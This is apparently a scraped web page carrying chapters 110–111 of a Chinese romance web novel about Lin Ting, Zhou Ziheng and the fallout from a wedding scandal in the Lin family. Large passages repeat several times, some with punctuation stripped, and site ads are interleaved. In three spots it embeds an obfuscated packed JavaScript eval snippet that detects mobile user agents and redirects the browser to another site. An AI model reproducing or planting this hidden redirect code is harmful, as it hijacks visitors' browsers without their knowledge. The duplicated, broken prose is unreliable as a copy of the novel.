林振宇、江遇、江书臣、夏静姝、林薇薇。 还有林家的管家曹叔。 以及林建国的多年好友安保人员。 可是唯独没有林听。 当林建国被送上救护车之后江遇和林振宇再去寻林听的身影时已经空无一人。 周自衡和林听离开了。 苏秀珍也被控制住了。 这场原本属于林建国和苏秀珍的婚礼最终以闹剧收场。 宾客尽数散去。 林家成了整个上流圈子里的笑话。 看着空荡荡的婚礼现场江遇的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 林振宇、江遇、江书臣、夏静姝、林薇薇。 还有林家的管家曹叔。 以及林建国的多年好友安保人员。 可是唯独没有林听。 当林建国被送上救护车之后江遇和林振宇再去寻林听的身影时 周自衡和林听离开了。 苏秀珍也被控制住了。 这场原本属于林建国和苏秀珍的婚礼最终以闹剧收场。 宾客尽数散去。 林家成了整个上流圈子里的笑话。 看着空荡荡的婚礼现场江遇的心也是空荡荡的。 …… 轻舟路。 一辆酒红色的红旗国耀眼停在某便利店的门口。 周自衡下了车。 林听不明白他要干什么不是说要去就近的医院包扎他的伤口吗? 周自衡回来时手里拿着一块冰棍。 这块冰棍被周自衡包裹在他的手帕里。 没等林听反应过来她崴到的那只脚已被周自衡握起来放在了他的腿上。 “刚刚在酒店冰敷时间不够。” “可能有点凉忍一忍。” 林听想抽回右脚她挣扎着“不行周自衡你得先去医院包扎。” “如果不想几天都下不了地呆着别动。” 周自衡的语气不容商榷。 那只白皙光滑的脚踝被他整个掌心小心翼翼地托起。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 林振宇、江遇、江书臣、夏静姝、林薇薇。 还有林家的管家曹叔。 以及林建国的多年好友,安保人员。 可是,唯独没有林听。 当林建国被送上救护车之后,江遇和林振宇再去寻林听的身影时,已经空无一人。 周自衡和林听离开了。 苏秀珍也被控制住了。 这场原本属于林建国和苏秀珍的婚礼,最终以闹剧收场。 宾客尽数散去。 林家成了整个上流圈子里的笑话。 看着空荡荡的婚礼现场,江遇的心也是空荡荡的。 …… 轻舟路。 一辆酒红色的红旗国耀眼,停在某便利店的门口。 周自衡下了车。 林听不明白他要干什么,不是说要去就近的医院,包扎他的伤口吗? 周自衡回来时,手里拿着一块冰棍。 这块冰棍被周自衡包裹在他的手帕里。 没等林听反应过来,她崴到的那只脚,已被周自衡握起来,放在了他的腿上。 “刚刚在酒店,冰敷时间不够。 “可能有点凉,忍一忍。 林听想抽回右脚,她挣扎着,“不行,周自衡,你得先去医院包扎。 “如果不想几天都下不了地,呆着别动。 周自衡的语气,不容商榷。 那只白皙光滑的脚踝,被他整个掌心,小心翼翼地托起。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 第110章 林家不会放过你 “周自衡,你的伤比我的伤更要紧,真不用管我。” “别乱动。” 周自衡的掌心似乎带着掌控力。 他微微一托,林听果然不敢乱动了。 驾驶室的洛高,回头看了一眼家主,对林听笑道: “林小姐,你放心,这点伤对家主来说就是家常便饭。” “就像蚊子叮了一下,无关痛痒。” “家主伤得最严重的时候,**从腹部穿过,差点要命。” “他都不着急。” 还有这种事? 林听虽然知道,周自衡在周家过得不好。 但也没听说过,他中了枪伤,这么严重的事。 她知道,周自衡从小到大受了很多伤。 周母为了见周老爷子,经常把他打伤,或是把他泡在冰冷的水里,故意让他感冒发烧。 生病受伤对他来说,可能真的就像家常便饭一样。 林听忽然觉得,这个铁血刚毅的男人,背后有着太多不为人知的辛酸和可怜。 世间所有的残忍与炎凉,都砸在了他的身上。 可他偏偏这么重情重义。 就因为六岁那年,她跳进泳池里救过他,并且还没救成功。 他竟然真的做到了滴水之恩,涌泉相报。 不一会儿,脚踝处消了肿。 “一会儿可能还会肿起来。” “过半小时,我再给你敷一敷。” 林听挪动右腿。 果然没有刚才那么疼了。 她赶紧说,“洛高,开车去医院呀,周自衡手上的伤必须好好包扎一下。” 洛高已经不足为奇了,“林小姐,一般这种小伤,家主都是自己处理的。” 身侧的周自衡,看着她,淡淡道,“你要是担心我,倒可以照顾我几天。” 林听还没反应过来,周自衡举了举受伤的右手,又说: “毕竟受伤了,生活自理,有点困难。” 林听想也不想,爽快应下,“那我抽空去你那里,尽量多照顾你几天。” 至少等他的右手,能够活动自如。 开车的洛高,忍俊不禁。 家主果然是老狐狸。 这坑是一个接一个地 挖。 这点小伤对他来说,就跟蚊子咬了一下,无关紧要。 家主却在林小姐面前,装起了柔软来。 洛高是十一岁还在上学的时候,就跟了周自衡。 那时洛母病重,家里没钱。 年少的家主手臂骨折,自己到医院就诊。 见到举着个牌子跪在医院出入口的他,家主不顾自己还受着伤,果断帮了他。 后来,家主支助他完成学业。 他也争气,样样优秀。 接受完许多训练后,早早回到家主身边帮忙。 他跟了家主二十二年。 从来没见过家主对哪个女孩子如此上心。 这是连三十六针,都用上了。 要洛高说,还是林小姐太单纯了。 家主步步为谋,她却浑然不觉。 好一个大灰狼与小白兔的故事。 有趣! 太有趣了! …… 医院。 躺在病床上的苏秀珍,被铐上了**和脚链。 周自衡的那一脚,踢断了她三根肋骨。 同时,苏秀珍也因故意伤人,被刑拘。 接下来,苏秀珍将面临林家父子二人的起诉与指控。 林振宇站在苏秀珍的病床前。 这个在父亲枕边呆了三十年的女人,好有心机啊。 东窗事发前,林振宇觉得苏秀珍默默为父亲付出,值得尊重。 他愿意成全她和父亲。 现在看来,他真是蠢。 难怪小听要说,他没有资格当母亲唐婉华的儿子。 他就是个认贼做母的混账,是个畜生。 眼下,小听与林家**。 父亲林建国又重伤躺在重症监护室。 林振宇恨不得把苏秀珍给杀了。 他紧紧地握着拳头,满眼怒意。 “为什么要伤我爸,要伤小听?” “难道我们林家被你害得还不够惨吗?” 如果不是苏秀珍和林薇薇,他就不会不认自己的亲妹妹,更不会把她送到监狱里去。 他恨自己蠢,但他也恨眼前这个心机老女人。 他们一直被她的伪装给骗了。 “惨? 肋骨断了三根的苏秀珍,躺着一动不敢动。 动一下,就疼,嘶…… 可是情绪激动时,她忍不住全身颤抖,“你们有我惨吗? 林振宇:“我和我爸对你和林薇薇,还不够好吗? 苏秀珍咬着牙,怒吼道:“你应该问问你爸,三十三年前,他对我儿子做过什么? 一头雾水的林振宇,听苏秀珍又说: “三十三年前,林建国撞死一个小男孩。 “为了掩盖他的罪行,他处理了小男孩的尸体,删除了所有的监控,花钱打点了关系。 “至今那个小男孩尸骨无存,他才一岁半,刚刚会叫妈妈。 “你有没有想过,那个小男孩和他的家人,又有多可怜? 苏秀珍眼里的仇恨,让林振宇觉得陌生而又可怕。 这不是他认识的苏阿姨。 他似乎猜出了什么,“你是那个小男孩的妈妈? 苏秀珍用哈哈大笑来回应林振宇: “哈,哈,哈,哈…… “这不是结束,这只是刚刚开始。 “你们林家的人都得死,全都得死。 “我也要让你们尝一尝骨肉分离,家破人亡的痛苦。 林振宇震惊到说不出话。 他不相信父亲会做出那样的事情来。 良久,他像是在替林建国开脱,“……就算如此,你也不能害人。小听和柚子,都是无辜的。 苏秀珍怒瞪着他: “你们这些有钱人,满口仁义道德,其实骨子里已经烂透了。 “伤害林听母女的人,从来不是我和薇薇,是你们自己。 “没有那层血缘关系,你们能把林听母女送入地狱。 “你们既要当,又要立,虚伪,恶心! 这样的批判,让林振宇哑口无言。 他什么也没有再说。 转身离开时,他拜托了看守的警察,“麻烦看紧点! 走出病房,林振宇碰到了林薇薇,还有她身侧的**同志。 两人四目相对。 林薇薇的满眼愧疚,对上林振宇的满眼愤怒。 “哥! “不要叫我哥。” 林振宇看向林薇薇身侧的**同志,“怎么把她**取了?” **同志:“苏秀珍认罪了。**医药机密被窃案,林薇薇是知情人,却不是参与人,达不到刑事拘留要求。” 这件事情,林振宇要去问问律师。 他不会这么轻易饶了林薇薇。 林薇薇被带进了苏秀珍的病房。 苏秀珍争取到了,与林薇薇单独说话的机会。 看到苏秀珍伤得这般重,林薇薇很心疼。 “妈妈,我们别报仇了。哥哥已经**,我不想看着你这样执迷不悟下去。” 苏秀珍满眼浸着泪水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15672818|172816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“薇薇,是妈妈对不起你,一直让你生活在虚假的谎言之中。” 林听摇头,“妈妈,你不要说对不起,我知道哥哥的死,让你很痛苦。” 苏秀珍打断: “薇薇,你听我说。” “陷害林听,偷窃**医药研发机密,都是妈一个人做的。” “妈也没让你参与什么。我也向警方交代清楚了。我去坐牢。” “这是妈妈的一点积蓄,不是林建国给的钱,你拿着,离开鹏城,离开**两家。” “他们不会让你好过的,你去别的城市,好好生活。” 那张银行卡,林薇薇扔在床上,“我不要你去坐牢,要坐牢也是我去。” 苏秀珍苦笑,“我捅了人,逃脱不了法律责任的。” 说着,苏秀珍替林薇薇拭泪。 “薇薇,你老实告诉我。那一次,周六少已经让人把林听的女儿扔进河里了,是你救了林听的女儿,对不对?” “妈妈,柚子始终是个孩子。就算我们要报仇,也不能对一个孩子下这么狠的手。” 那次为了留在江遇身边,离间江遇和林听,让柚子花生过敏。 柚子差点死掉。 林薇薇已经很内疚了。 这些年,仇恨让妈妈失去了理智。 她每天都在害怕。 怕自己林家假千金的身份,随时会被曝光。 如果不报仇,她们母女俩就这样和林建国林振宇父子俩,像一家人一样生活在一起。 多温馨呀! “我就知道,你从小 就善良。” “妈妈,我们错了,我们真的做了太多的错事。” “薇薇,有件事情你必须知道,你不是我亲生的女儿。” 当年,知道林建国喜欢女儿。 苏秀珍特意骗林建国,说是自己怀孕了。 一年后,她带着林薇薇,重新找到林建国。 就是因为有林薇薇的存在,林建国才愿意让她留在身边。 可她根本没有怀孕。 “薇薇,妈妈对不起你,其实你是被我拐来的。” “你原本应该有幸福的家庭,有爱你的爸爸妈妈,都是我,为了报仇,我害苦了你。” 苏秀珍的骨子里,并不是全部都是恶。 她一直愧对林薇薇。 她也是一个好妈妈。 是林建国毁灭了这一切。 听闻苏秀珍所说的一件件事情,林薇薇无法想象。 林建国不是她的亲生父亲,现在连苏秀珍也不是她的亲生妈妈? “薇薇,你父母早就过世了,你跟着你奶奶生活。” 林薇薇觉得,这太荒唐,太可笑了! “妈妈,你跟我开玩笑的吧,我怎么会不是你的亲生女儿?” “薇薇,你离开鹏城吧。**两家恨透了你,他们不会让你好过的。” 从医院里走出来,林薇薇满脑子都是苏秀珍的话。 她竟然是被苏秀珍拐来的孩子。 所以现在,她该何去何从? 最疼爱她的爸爸和哥哥,厌恶透了她。 连她最亲的妈妈,也只是把她当成了复仇的工具。 林听确实够惨。 她又何尝不惨? 天大地大,林薇薇不知道要去哪里。 最后,她还是去了林建国的病房外。 林振宇疲惫又憔悴地守在重症监护室外。 见到林薇薇,林振宇恨不得把她杀了。 林薇薇是真心担忧,林建国的安然,“哥,爸怎么样了?” 林振宇咬着牙,“你不是林家的女儿。别以为苏秀珍一个人认了罪,我们林家就会放过你。” 第111章 一直为你守身如玉 林振宇看着眼前楚楚可怜的林薇薇。 他无法想象自己以前是蠢到了什么地步才会被她的楚楚可怜所蒙蔽。 他咬咬牙重复道:“我们林家是不会放过你的。” 愤怒的他额角青筋直冒。 这样的他让林薇薇陌生害怕。 昔日林振宇是那样疼她 小说全网首发无弹窗免费阅读caixs.com?(请来才 小说 看最新章节 完整章节)宠她。 她沉溺在林家给予她的宠爱之中。 差点以为自己真的就是林家千金了。 这么些年她是真的拿林振宇当自己的亲哥哥。 看到林振宇这般痛苦林薇薇真心忏悔: “哥是我对不起你们你给我一个弥补的机会好不好?” 说着她上前拉住了林振宇的胳膊。 却被林振宇用力甩开。 这个力道太大甩得林薇薇摔在消毒水扑面而来的冰冷地面上。 接触到地面的手肘处顿时一片火辣辣的疼。 抬手一看破皮了。 好大一片擦伤。 如果是以前林振宇一定会心疼坏了。 他会马上给她包扎给她消毒。 怕她疼他会转移她的注意力会哄她。 但此时此刻林振宇的眼里只剩下憎恨。 看着她艰难的从地上爬起来他手也不搭一下。 “林薇薇我爸在里面躺着到现在还没脱离危险。” “我妹妹和林家**还有她之前所受的苦。” “都是你们两母女害的你以为我能轻饶了你?” 林薇薇哭道“哥可是怎么只怪我一个人?” 她也是受害者。 “就算没有我还会有下一个于薇薇丁薇薇宋薇薇。” “如果不是你不够信任姐姐姐姐又怎么可能饱受那些苦难?” 这句话说得林振宇哑口无言。 …… 林家的风波闹了好一阵子。 那是关于林建国和林振宇的笑话。 不过传得再凶林听都不受任何影响。 她已经当着全场宾客的面和林建国断绝了父女关系。 再说妈妈唐婉华的清白。 她找回来了。 也不必再和林家有什么来往了。 这些年苏秀珍和林薇薇,吃林家的,住林家的。 林建国为她们母女俩花的每一分钱,都有一半是妈妈的。 为了讨回这笔钱,林听专门让宋律风加急走了法律程序,并且申请冻结林薇薇和苏秀珍名下的财产。 钱,肯定是要讨回来的。 并且,她还让宋律风帮忙,和林建国做财产分割。 妈妈的遗产部分,属于她的,一分不能少。 拿到钱后,她和林家就算完全银货两讫,再无瓜葛了。 这些事也不用她亲自去跑。 省得见了林建国和林振宇,心情闹不好。 办完这些事以后,她会带着柚子,舒舒坦坦地过好她们自己的小日子。 帮过她的周国立张淑琴夫妇俩,就是她的再生父母。 还有宋律风一家,周自衡,都是她的亲人。 以后,都会是好日子。 这两日,林听崴着的脚,好了。 走路利索了。 倒是周自衡,手上的伤口一直没有愈合,生活自理都成问题。 出于感激,林听照顾了周自衡两天。 快要入秋了。 秋干气燥。 一大早,张淑琴和周国立炖好了一锅梨汤。 早上七点多,林听特意端着梨汤,去到隔壁的别墅。 周自衡放着偌大的周家山庄不住。 非要搬到宋律风的隔壁。 用周自衡的原话说,周家山庄死过太多人,阴气重。 住着不安生。 林听说:你一个唯物主义无神论者,怕什么阴气重? 只有旁边的洛高忍俊不禁,这是家主为了接近林小姐,故意搬来了君悦府的宋家隔壁。 隔壁的装修风格,是林听最喜欢的法式奶油风。 前些日子,洛叔和洛婶,按照她的喜好,把别墅上上下下,布置了一遍。 这别墅风格看起来,和它的名字——法式奶油风,一样甜。 走进去,林听心情也是甜的。 “周自衡,我爸我妈炖的梨汤,你一定要尝尝。 沙发上的周自衡,右手不太方便。 左手接过梨 汤,尝了一口。 “林建国要是知道,你认周叔张姨为父母,却不认他这个亲爹。” “他估计要被气吐血。” 林听心中并没有半点愧疚感,“那是他自找的。” 苏秀珍捅了林建国一刀。 正中脾胃。 当时他流了好多的血。 送去医院抢救后,命是保住了,却进了重症监护室。 今天早上,林振宇亲自过来,说是林建国转危为安,已经脱离生命危险了。 又说,林建国想见她一眼。 希望她看在过去的份上,能去医院探望一眼。 林听冷漠拒绝了。 周国立和张淑琴,只是个外人,却能担忧她和柚子的安危。 林建国和林振宇,非把她一步一步逼上绝路。 以后,她只认周国立和张淑琴。 梨汤喝完了,周自衡夸赞着好喝。 随即放下碗,“林家的事情处理完了,你是不是也该和宋律风离婚了?” 这事,林听倒是给忙忘了。 当时她以为自己死定了。 万般无奈,这才和宋律风领了证,让柚子户口迁移到宋律风名下。 周自衡淡淡道,“宋太太的位置,始终是属于周琪的。” 林听:“我下午就去和宋律风把手续办了。” 旁边的洛高,忍俊不禁。 家主这只大灰狼,又在给林小姐挖坑了。 沙发上,坐姿优雅,气定神闲的周自衡,又说: “上次说到,你从宋律风家中搬出来的事,被这几日的事耽搁了。” “你准备什么时候搬过来?” “二楼已经收拾好了。” “你和小柚子,随时可以入住。” 周自衡新买的这栋别墅,林听很喜欢。 这里离宋律风家里近,柚子和落落来去自如,也能经常见着周国立和张淑琴二人。 林听准备,拿到妈妈的一大笔遗产后,从周自衡手里把别墅买过来。 她先搬过来住着,“周末搬吧。” 洛高心想着。 家主这一步一步的谋略,算计得够深的。 先是怂恿着林小姐和宋律师离完婚。 又是怂恿着林小姐搬过来住。 近水楼台先得月。 洛高开始有些期待,林小姐成为周家女主人的时候了。 下午。 林听和宋律风去民政局,办完了离婚手续。 “小听,恭喜你,重获新生,未来无限可期。 “律风,我要感谢你,这段艰难的日子,都是你陪着我走过来的。 宋律风所谓无限可期,指的是周自衡。 这男人不仅跑去林听那里,借以周琪之名,让林听早些离婚。 这两日,还在他面前催促着,让他赶紧**。 周自衡是生怕他和林听假戏真做。 现在,宋律风的心里只有亡妻周琪。 对林听,只剩下亲人间的祝福了。 “小听,周末我帮你搬家,相信小柚子也会很喜欢她的周爸爸。 “等拿到妈妈的遗产,我把周自衡这栋别墅买下来,不会白住他家的。 “我觉得你和周自衡倒挺般配的。 “律风,你别乱说,我和周自衡是从小到大的**友情,是生死之交。 宋律风笑笑不说话。 两人从民政局走出来。 停车场。 黑色的悍马车前,一个男人倚靠在车门前。 天色是阴沉沉的。 像是快要下雨了。 车门前的男人,明明身姿挺拔,俊颜帅气,却跟着这天色,变得阴郁而忧愁。 那是江遇。 这辈子让林听再也不想见到,却总是阴魂不散的江遇。 林听所有的好心情一散而尽。 宋律风知道,林听不想见到这个男人。 他上前半步,对江遇冷冷道,“麻烦你让一让。 江遇没有理会宋律风。 从车门起身,挺拔的身影来到林听面前。 “听听,我去医院看过林叔了。 “他脱离生命危险了,放心,我会替你好好照顾他的。 林听冷着脸。 她不想听到和林家相关的任何事情,“他的死活,跟我无关,你也不用替我照顾他。我没义务照顾他。 江遇:“我知道,仇恨只是暂时的,毕竟…… “律风,我们走。林听不给江遇再说下去的机会。 绕过江遇,她拉开了车门。 车门又**遇关过去,用力按着。 “我知道,你今天是和宋律风来**的。 “听听,有件事情,我必须告诉你,否则你一定会误会我。 车门又被林听拉开。 江遇再次紧紧摁住。 “听听,你让我说完。 “这些年我虽然和林薇薇在一起,但是我从来没有碰过她。 “我们从来没上过床。 每次林薇薇靠近他。 他的脑海里总会浮现出林听的面容。 他从来就没有忘记过她。 林听真是无语到家了,“你的私事我不敢兴趣,不必跟我说,让开。 说完,她一把甩开摁着车门的江遇,干脆利落上了车。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 又是怂恿着林小姐搬过来住。 近水楼台先得月。 洛高开始有些期待,林小姐成为周家女主人的时候了。 下午。 林听和宋律风去民政局,办完了离婚手续。 “小听,恭喜你,重获新生,未来无限可期。 “律风,我要感谢你,这段艰难的日子,都是你陪着我走过来的。 宋律风所谓无限可期,指的是周自衡。 这男人不仅跑去林听那里,借以周琪之名,让林听早些离婚。 这两日,还在他面前催促着,让他赶紧**。 周自衡是生怕他和林听假戏真做。 现在,宋律风的心里只有亡妻周琪。 对林听,只剩下亲人间的祝福了。 “小听,周末我帮你搬家,相信小柚子也会很喜欢她的周爸爸。 “等拿到妈妈的遗产,我把周自衡这栋别墅买下来,不会白住他家的。 “我觉得你和周自衡倒挺般配的。 “律风,你别乱说,我和周自衡是从小到大的**友情,是生死之交。 宋律风笑笑不说话。 两人从民政局走出来。 停车场。 黑色的悍马车前,一个男人倚靠在车门前。 天色是阴沉沉的。 像是快要下雨了。 车门前的男人,明明身姿挺拔,俊颜帅气,却跟着这天色,变得阴郁而忧愁。 那是江遇。 这辈子让林听再也不想见到,却总是阴魂不散的江遇。 林听所有的好心情一散而尽。 宋律风知道,林听不想见到这个男人。 他上前半步,对江遇冷冷道,“麻烦你让一让。 江遇没有理会宋律风。 从车门起身,挺拔的身影来到林听面前。 “听听,我去医院看过林叔了。 “他脱离生命危险了,放心,我会替你好好照顾他的。 林听冷着脸。 她不想听到和林家相关的任何事情,“他的死活,跟我无关,你也不用替我照顾他。我没义务照顾他。 江遇:“我知道,仇恨只是暂时的,毕竟…… “律风,我们走。林听不给江遇再说下去的机会。 绕过江遇,她拉开了车门。 车门又**遇关过去,用力按着。 “我知道,你今天是和宋律风来**的。 “听听,有件事情,我必须告诉你,否则你一定会误会我。 车门又被林听拉开。 江遇再次紧紧摁住。 “听听,你让我说完。 “这些年我虽然和林薇薇在一起,但是我从来没有碰过她。 “我们从来没上过床。 每次林薇薇靠近他。 他的脑海里总会浮现出林听的面容。 他从来就没有忘记过她。 林听真是无语到家了,“你的私事我不敢兴趣,不必跟我说,让开。 说完,她一把甩开摁着车门的江遇,干脆利落上了车。 你的朋友正在书荒,快去帮帮他吧 又是怂恿着林小姐搬过来住。 近水楼台先得月。 洛高开始有些期待,林小姐成为周家女主人的时候了。 下午。 林听和宋律风去民政局,办完了离婚手续。 “小听,恭喜你,重获新生,未来无限可期。 “律风,我要感谢你,这段艰难的日子,都是你陪着我走过来的。 宋律风所谓无限可期,指的是周自衡。 这男人不仅跑去林听那里,借以周琪之名,让林听早些离婚。 这两日,还在他面前催促着,让他赶紧**。 周自衡是生怕他和林听假戏真做。 现在,宋律风的心里只有亡妻周琪。 对林听,只剩下亲人间的祝福了。 “小听,周末我帮你搬家,相信小柚子也会很喜欢她的周爸爸。 “等拿到妈妈的遗产,我把周自衡这栋别墅买下来,不会白住他家的。 “我觉得你和周自衡倒挺般配的。 “律风,你别乱说,我和周自衡是从小到大的**友情,是生死之交。 宋律风笑笑不说话。 两人从民政局走出来。 停车场。 黑色的悍马车前,一个男人倚靠在车门前。 天色是阴沉沉的。 像是快要下雨了。 车门前的男人,明明身姿挺拔,俊颜帅气,却跟着这天色,变得阴郁而忧愁。 那是江遇。 这辈子让林听再也不想见到,却总是阴魂不散的江遇。 林听所有的好心情一散而尽。 宋律风知道,林听不想见到这个男人。 他上前半步,对江遇冷冷道,“麻烦你让一让。 江遇没有理会宋律风。 从车门起身,挺拔的身影来到林听面前。 “听听,我去医院看过林叔了。 “他脱离生命危险了,放心,我会替你好好照顾他的。 林听冷着脸。 她不想听到和林家相关的任何事情,“他的死活,跟我无关,你也不用替我照顾他。我没义务照顾他。 江遇:“我知道,仇恨只是暂时的,毕竟…… “律风,我们走。林听不给江遇再说下去的机会。 绕过江遇,她拉开了车门。 车门又**遇关过去,用力按着。 “我知道,你今天是和宋律风来**的。 “听听,有件事情,我必须告诉你,否则你一定会误会我。 车门又被林听拉开。 江遇再次紧紧摁住。 “听听,你让我说完。 “这些年我虽然和林薇薇在一起,但是我从来没有碰过她。 “我们从来没上过床。 每次林薇薇靠近他。 他的脑海里总会浮现出林听的面容。 他从来就没有忘记过她。 林听真是无语到家了,“你的私事我不敢兴趣,不必跟我说,让开。 说完,她一把甩开摁着车门的江遇,干脆利落上了车。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 又是怂恿着林小姐搬过来住。 近水楼台先得月。 洛高开始有些期待林小姐成为周家女主人的时候了。 下午。 林听和宋律风去民政局办完了离婚手续。 “小听恭喜你重获新生未来无限可期。” “律风我要感谢你这段艰难的日子都是你陪着我走过来的。” 宋律风所谓无限可期指的是周自衡。 这男人不仅跑去林听那里借以周琪之名让林听早些离婚。 这两日还在他面前催促着让他赶紧**。 周自衡是生怕他和林听假戏真做。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15672819|172816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在宋律风的心里只有亡妻周琪。 对林听只剩下亲人间的祝福了。 “小听周末我帮你搬家相信小柚子也会很喜欢她的周爸爸。” “等拿到妈妈的遗产我把周自衡这栋别墅买下来 “我觉得你和周自衡倒挺般配的。” “律风你别乱说我和周自衡是从小到大的**友情是生死之交。” 宋律风笑笑不说话。 两人从民政局走出来。 停车场。 黑色的悍马车前一个男人倚靠在车门前。 天色是阴沉沉的。 像是快要下雨了。 车门前的男人明明身姿挺拔俊颜帅气却跟着这天色变得阴郁而忧愁。 那是江遇。 这辈子让林听再也不想见到却总是阴魂不散的江遇。 林听所有的好心情一散而尽。 宋律风知道林听不想见到这个男人。 他上前半步对江遇冷冷道“麻烦你让一让。” 江遇没有理会宋律风。 从车门起身挺拔的身影来到林听面前。 “听听我去医院看过林叔了。” “他脱离生命危险了放心我会替你好好照顾他的。” 林听冷着脸。 她不想听到和林家相关的任何事情“他的死活跟我无关你也不用替我照顾他。我没义务照顾他。” 江遇:“我知道仇恨只是暂时的毕竟……” “律风我们走。”林听不给江遇再说下去的机会。 绕过江遇她拉开了车门。 车门又**遇关过去用力按着。 “我知道你今天是和宋律风来**的。” “听听有件事情我必须告诉你否则你一定会误会我。” 车门又被林听拉开。 江遇再次紧紧摁住。 “听听你让我说完。” “这些年我虽然和林薇薇在一起但是我从来没有碰过她。” “我们从来没上过床。” 每次林薇薇靠近他。 他的脑海里总会浮现出林听的面容。 他从来就没有忘记过她。 林听真是无语到家了“你的私事我不敢兴趣不必跟我说让开。” 说完她一把甩开摁着车门的江遇干脆利落上了车。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 又是怂恿着林小姐搬过来住。 近水楼台先得月。 洛高开始有些期待林小姐成为周家女主人的时候了。 下午。 林听和宋律风去民政局办完了离婚手续。 “小听恭喜你重获新生 “律风我要感谢你这段艰难的日子都是你陪着我走过来的。” 宋律风所谓无限可期指的是周自衡。 这男人不仅跑去林听那里借以周琪之名让林听早些离婚。 这两日还在他面前催促着让他赶紧**。 周自衡是生怕他和林听假戏真做。 现在宋律风的心里只有亡妻周琪。 对林听只剩下亲人间的祝福了。 “小听周末我帮你搬家相信小柚子也会很喜欢她的周爸爸。” “等拿到妈妈的遗产我把周自衡这栋别墅买下来不会白住他家的。” “我觉得你和周自衡倒挺般配的。” “律风你别乱说我和周自衡是从小到大的**友情是生死之交。” 宋律风笑笑不说话。 两人从民政局走出来。 停车场。 黑色的悍马车前一个男人倚靠在车门前。 天色是阴沉沉的。 像是快要下雨了。 车门前的男人明明身姿挺拔俊颜帅气却跟着这天色变得阴郁而忧愁。 那是江遇。 这辈子让林听再也不想见到却总是阴魂不散的江遇。 林听所有的好心情一散而尽。 宋律风知道林听不想见到这个男人。 他上前半步对江遇冷冷道“麻烦你让一让。” 江遇没有理会宋律风。 从车门起身挺拔的身影来到林听面前。 “听听我去医院看过林叔了。” “他脱离生命危险了放心我会替你好好照顾他的。” 林听冷着脸。 她不想听到和林家相关的任何事情“他的死活跟我无关你也不用替我照顾他。我没义务照顾他。” 江遇:“我知道仇恨只是暂时的毕竟……” “律风我们走。”林听不给江遇再说下去的机会。 绕过江遇她拉开了车门。 车门又**遇关过去用力按着。 “我知道你今天是和宋律风来**的。” “听听有件事情我必须告诉你否则你一定会误会我。” 车门又被林听拉开。 江遇再次紧紧摁住。 “听听你让我说完。” “这些年我虽然和林薇薇在一起但是我从来没有碰过她。” “我们从来没上过床。” 每次林薇薇靠近他。 他的脑海里总会浮现出林听的面容。 他从来就没有忘记过她。 林听真是无语到家了“你的私事我不敢兴趣不必跟我说让开。” 说完她一把甩开摁着车门的江遇干脆利落上了车。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 又是怂恿着林小姐搬过来住。 近水楼台先得月。 洛高开始有些期待林小姐成为周家女主人的时候了。 下午。 林听和宋律风去民政局办完了离婚手续。 “小听恭喜你重获新生未来无限可期。” “律风我要感谢你这段艰难的日子都是你陪着我走过来的。” 宋律风所谓无限可期指的是周自衡。 这男人不仅跑去林听那里借以周琪之名让林听早些离婚。 这两日还在他面前催促着让他赶紧**。 周自衡是生怕他和林听假戏真做。 现在宋律风的心里只有亡妻周琪。 对林听只剩下亲人间的祝福了。 “小听周末我帮你搬家相信小柚子也会很喜欢她的周爸爸。” “等拿到妈妈的遗产 “我觉得你和周自衡倒挺般配的。” “律风你别乱说我和周自衡是从小到大的**友情是生死之交。” 宋律风笑笑不说话。 两人从民政局走出来。 停车场。 黑色的悍马车前一个男人倚靠在车门前。 天色是阴沉沉的。 像是快要下雨了。 车门前的男人明明身姿挺拔俊颜帅气却跟着这天色变得阴郁而忧愁。 那是江遇。 这辈子让林听再也不想见到却总是阴魂不散的江遇。 林听所有的好心情一散而尽。 宋律风知道林听不想见到这个男人。 他上前半步对江遇冷冷道“麻烦你让一让。” 江遇没有理会宋律风。 从车门起身挺拔的身影来到林听面前。 “听听我去医院看过林叔了。” “他脱离生命危险了放心我会替你好好照顾他的。” 林听冷着脸。 她不想听到和林家相关的任何事情“他的死活跟我无关你也不用替我照顾他。我没义务照顾他。” 江遇:“我知道仇恨只是暂时的毕竟……” “律风我们走。”林听不给江遇再说下去的机会。 绕过江遇她拉开了车门。 车门又**遇关过去用力按着。 “我知道你今天是和宋律风来**的。” “听听有件事情我必须告诉你否则你一定会误会我。” 车门又被林听拉开。 江遇再次紧紧摁住。 “听听你让我说完。” “这些年我虽然和林薇薇在一起但是我从来没有碰过她。” “我们从来没上过床。” 